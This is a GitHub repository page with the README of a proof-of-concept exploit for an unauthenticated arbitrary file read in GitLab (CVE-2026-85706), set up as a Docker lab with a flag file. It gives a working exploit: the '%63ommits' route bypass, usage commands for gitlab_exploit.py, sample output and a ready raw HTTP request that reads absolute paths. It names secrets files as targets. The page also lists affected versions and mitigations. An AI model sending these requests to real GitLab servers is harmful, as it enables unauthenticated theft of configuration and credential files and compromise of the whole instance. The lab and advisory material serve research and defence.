← Back
EQSTLab

EQSTLab/CVE-2026-85706

GitLab Unauthenticated Arbitrary File Read

View on GitHub ↗
Stars
25
Forks
4
Watchers
25
Open issues
0
Contributors
1
Language
Python
License
—
Default branch
main
Created Sep 28, 2026Updated Sep 28, 2026

Star growth

Today—
This week—
This month—

Star history will appear here once this repo has been tracked for a couple of days.

README

CVE-2026-85706 GitLab unauthenticated arbitrary file read

★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★

PoC.Video.mp4

Overview

CVE-2026-85706 is an unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV) via POST /api/v4/projects/:id/repository/commits, whose body-upload helper runs before authenticate! and reads params['file.path'] as an absolute path with no confinement. URL-encoding one char of commits → %63ommits makes GitLab-Workhorse miss the route (so it never overwrites file.path), while Rails still decodes %63 → c and routes to the handler — letting the attacker set file.path via the query string. With Content-Type=application/x-www-form-urlencoded, the helper re-parses the file content and a % not followed by two hex digits reflects that content in the 400 body (files without one give only a 401 read oracle). Requires at least one public project.


Affected Versions

Category Version
Vulnerable GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
Patched 19.1.8 / 19.2.6 / 19.3.2 or later (2026-09-10)

Impact

  • Unauthenticated arbitrary file read of any file readable by the GitLab service process
  • Disclosure of files whose content contains an invalid % (application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → chaining to authenticated access / full instance compromise
  • The read primitive reaches high-value files (gitlab-secrets.json, database.yml); note that purely hex/base64 files return only an existence oracle through the public % reflection channel (no invalid % byte to trigger the echo)
  • The fix adds authenticate! ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sink

Environment

Build and run the vulnerable GitLab CE. On boot, the seeder plants /flag.txt (with a trailing % leak trigger) and creates a public project victim/public-app (project id 1) so the commits API is reachable unauthenticated. First boot takes ~2–3 minutes.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

The flag is a placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Set your own at run time without editing the image: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

Precondition State in this lab
GitLab 18.7 – 19.1.7 19.1.7-ce.0
At least one public project (anon reaches the commits API) victim/public-app (id 1), auto-created
/api/v4/projects/:id/repository/commits reachable unauthenticated exposed
Flag on the server filesystem /flag.txt (trailing % reflection trigger)

PoC

The exploit gitlab_exploit.py reads a file off the server with a single unauthenticated request, using the %63ommits Workhorse route bypass and the urlencoded re-parse error channel. Pick the file with --read (default /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

Options:

  • --read "<abs path>" — absolute file path to read (default /flag.txt)
  • --project <id> — public project id reachable unauthenticated (default 1)
  • --check — only confirm the file-read sink is reachable (expects local file not present)

Raw request (for Burp Repeater):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


Mitigation

  • Upgrade GitLab to 19.1.8 / 19.2.6 / 19.3.2 or later
  • If you cannot upgrade immediately, block POST/PUT to */repository/commits* and */repository/files* at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist
  • After patching: assume any file readable by the GitLab service (logs, configs, secrets) was exposed if the endpoint was internet-reachable — invalidate sessions and rotate exposed credentials / secrets

Analysis

  • KR:
  • EN: